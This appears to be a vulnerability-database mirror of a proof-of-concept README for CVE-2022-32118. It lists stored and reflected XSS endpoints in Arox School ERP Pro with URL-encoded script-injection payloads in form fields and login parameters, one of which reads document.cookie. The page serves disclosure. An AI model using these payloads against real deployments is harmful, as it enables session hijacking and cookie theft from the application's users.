CVE-2022-32118 PoC — AROX School-ERP Pro 跨站脚本漏洞

Source

https://github.com/JC175/CVE-2022-32118

Associated Vulnerability

Title: AROX School-ERP Pro 跨站脚本漏洞 (CVE-2022-32118)
Description:Arox School ERP Pro v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the dispatchcategory parameter in backoffice.inc.php.

Description

CVE-2022-32118 - Arox-XSS

Readme

# CVE-2022-32118 - Arox-XSS
Stored and Reflected Cross Site Scripting vulnerabilities exist in multiple pages of the Arox School ERP Pro application, including the login page, that allows for arbitrary execution of JavaScript commands. The application has many more parameters affected by Cross Site Scripting but listed below are a sample size.

## Stored XSS Vulnerable Pages:

#### localhost/office_admin/?pid=74&action=dispatchcategoryedit&id=3
```
dispatchcategory=%3Cscript%3Ealert%28%27XSSDispatchGroupHere%27%29%3C%2Fscript%3E&submit=submit
```

#### localhost/office_admin/?pid=32&action=addcategoty&emsg=3
```
lib_category=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&libcat_desc=Test&AddCategory=Submit
```

#### localhost/office_admin/?pid=42&action=addadmin
```
admin_fname=Test&admin_lname=Test&admin_username=Test&admin_password=Test&admin_password2=Test&admin_email=Test&admin_phoneno=1234567899&adminlevel=%22%3E%3CscrIpt%3Ealert%28%27XSSHiddenHere%27%29%3B%3C%2FscRipt%3E&admin_more=&1_p=1_p&1_1=1_1&1_2=1_2&1_4=1_4&1_3=1_3&2_p=2_p&2_1=2_1&2_2=2_2&2_3=2_3&2_4=2_4&2_5=2_5&2_6=2_6&2_7=2_7&2_8=2_8&2_9=2_9&2_10=2_10&2_11=2_11&2_12=2_12&2_13=2_13&2_14=2_14&2_15=2_15&2_20=2_20&2_18=2_18&2_19=2_19&3_p=3_p&3_1=3_1&3_2=3_2&3_3=3_3&3_5=3_5&3_4=3_4&4_p=4_p&5_p=5_p&5_1=5_1&5_3=5_3&5_2=5_2&5_5=5_5&5_6=5_6&6_p=6_p&7_p=7_p&7_1=7_1&7_2=7_2&7_3=7_3&7_4=7_4&7_5=7_5&8_p=8_p&8_1=8_1&8_2=8_2&8_3=8_3&8_101=8_101&8_4=8_4&8_5=8_5&8_6=8_6&8_16=8_16&8_102=8_102&8_7=8_7&8_8=8_8&8_9=8_9&8_17=8_17&8_103=8_103&8_104=8_104&8_10=8_10&8_11=8_11&8_12=8_12&8_18=8_18&8_105=8_105&8_106=8_106&8_13=8_13&8_14=8_14&8_15=8_15&8_19=8_19&8_107=8_107&8_108=8_108&9_p=9_p&9_1=9_1&9_17=9_17&9_18=9_18&9_19=9_19&9_2=9_2&9_20=9_20&9_21=9_21&9_22=9_22&9_3=9_3&9_4=9_4&9_5=9_5&9_6=9_6&9_101=9_101&9_7=9_7&9_102=9_102&9_8=9_8&9_103=9_103&9_24=9_24&9_25=9_25&9_33=9_33&9_23=9_23&9_11=9_11&9_13=9_13&9_27=9_27&9_14=9_14&9_29=9_29&9_30=9_30&9_31=9_31&9_15=9_15&9_16=9_16&9_32=9_32&10_p=10_p&10_1=10_1&10_2=10_2&10_3=10_3&10_4=10_4&10_5=10_5&10_6=10_6&10_7=10_7&10_8=10_8&10_11=10_11&10_9=10_9&10_10=10_10&10_12=10_12&11_p=11_p&11_1=11_1&11_2=11_2&11_3=11_3&11_4=11_4&11_5=11_5&11_6=11_6&11_7=11_7&11_8=11_8&11_9=11_9&11_10=11_10&11_11=11_11&11_12=11_12&11_13=11_13&11_14=11_14&11_15=11_15&11_16=11_16&11_17=11_17&11_18=11_18&11_19=11_19&11_20=11_20&11_21=11_21&11_23=11_23&11_101=11_101&11_102=11_102&11_22=11_22&11_103=11_103&11_104=11_104&12_p=12_p&12_1=12_1&12_2=12_2&12_3=12_3&12_4=12_4&12_5=12_5&12_11=12_11&12_6=12_6&12_7=12_7&12_8=12_8&12_12=12_12&12_9=12_9&12_10=12_10&13_p=13_p&13_1=13_1&13_2=13_2&13_3=13_3&13_17=13_17&13_4=13_4&13_5=13_5&13_6=13_6&13_18=13_18&13_7=13_7&13_8=13_8&13_9=13_9&13_19=13_19&13_20=13_20&13_10=13_10&13_11=13_11&13_12=13_12&13_21=13_21&13_22=13_22&13_13=13_13&13_14=13_14&13_15=13_15&13_16=13_16&13_108=13_108&13_23=13_23&13_101=13_101&13_102=13_102&13_103=13_103&13_104=13_104&13_106=13_106&13_105=13_105&14_p=14_p&14_1=14_1&14_2=14_2&14_3=14_3&14_101=14_101&14_4=14_4&14_5=14_5&14_6=14_6&14_102=14_102&14_7=14_7&14_8=14_8&14_9=14_9&14_103=14_103&14_10=14_10&14_21=14_21&14_104=14_104&14_11=14_11&14_105=14_105&14_12=14_12&14_106=14_106&14_13=14_13&14_14=14_14&14_15=14_15&14_16=14_16&14_107=14_107&14_17=14_17&14_18=14_18&14_19=14_19&14_20=14_20&15_p=15_p&15_1=15_1&15_2=15_2&15_3=15_3&16_p=16_p&16_1=16_1&16_2=16_2&16_3=16_3&16_101=16_101&16_4=16_4&16_5=16_5&16_6=16_6&16_102=16_102&16_7=16_7&16_8=16_8&16_10=16_10&16_11=16_11&16_12=16_12&16_103=16_103&16_13=16_13&16_14=16_14&16_15=16_15&16_17=16_17&16_18=16_18&16_20=16_20&16_21=16_21&16_24=16_24&16_104=16_104&16_105=16_105&16_22=16_22&16_25=16_25&16_23=16_23&16_26=16_26&16_106=16_106&16_107=16_107&16_27=16_27&16_28=16_28&16_29=16_29&17_p=17_p&17_1=17_1&17_6=17_6&17_2=17_2&17_3=17_3&17_101=17_101&17_4=17_4&17_5=17_5&17_7=17_7&17_8=17_8&17_9=17_9&18_p=18_p&18_5=18_5&18_1=18_1&18_2=18_2&18_3=18_3&18_4=18_4&18_6=18_6&18_7=18_7&18_8=18_8&18_9=18_9&18_10=18_10&18_11=18_11&18_12=18_12&19_p=19_p&19_1=19_1&19_2=19_2&19_3=19_3&19_4=19_4&19_5=19_5&19_6=19_6&19_11=19_11&19_7=19_7&19_12=19_12&19_13=19_13&19_14=19_14&19_15=19_15&19_101=19_101&19_102=19_102&19_8=19_8&19_16=19_16&19_9=19_9&19_10=19_10&19_17=19_17&19_18=19_18&20_p=20_p&20_1=20_1&20_5=20_5&20_101=20_101&20_2=20_2&20_6=20_6&20_102=20_102&20_3=20_3&20_4=20_4&21_p=21_p&21_1=21_1&21_2=21_2&21_3=21_3&22_p=22_p&22_1=22_1&22_2=22_2&22_3=22_3&22_5=22_5&22_4=22_4&22_6=22_6&23_p=23_p&24_p=24_p&24_1=24_1&24_2=24_2&24_3=24_3&24_4=24_4&25_p=25_p&25_1=25_1&25_2=25_2&25_5=25_5&25_6=25_6&25_3=25_3&25_4=25_4&25_7=25_7&25_8=25_8&26_p=26_p&26_1=26_1&26_2=26_2&27_p=27_p&27_1=27_1&27_2=27_2&27_3=27_3&28_p=28_p&28_1=28_1&28_2=28_2&28_3=28_3&28_4=28_4&28_5=28_5&29_p=29_p&29_1=29_1&29_2=29_2&30_p=30_p&30_1=30_1&30_2=30_2&30_3=30_3&30_4=30_4&30_5=30_5&30_6=30_6&30_7=30_7&30_8=30_8&31_p=31_p&31_1=31_1&31_2=31_2&31_3=31_3&31_5=31_5&31_4=31_4&32_p=32_p&32_3=32_3&32_1=32_1&32_4=32_4&32_2=32_2&32_5=32_5&33_p=33_p&33_1=33_1&33_2=33_2&33_3=33_3&33_8=33_8&33_4=33_4&33_5=33_5&33_6=33_6&33_7=33_7&34_p=34_p&34_1=34_1&34_2=34_2&35_p=35_p&35_1=35_1&35_2=35_2&35_3=35_3&saveallowance=Submit
```

## Reflected XSS Vulnerable Pages:

#### localhost/username=%22%3E%3Cscript%3Ealert%28%27XSSUsernameHere%27%29%3B%3C%2Fscript%3E&password=&usertype=admin&Login.x=38&Login.y=17
#### localhost/username=&password=%22%3E%3Cscript%3Ealert%28%27XSSPasswordHere%27%29%3B%3C%2Fscript%3E&usertype=admin&Login.x=42&Login.y=14

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →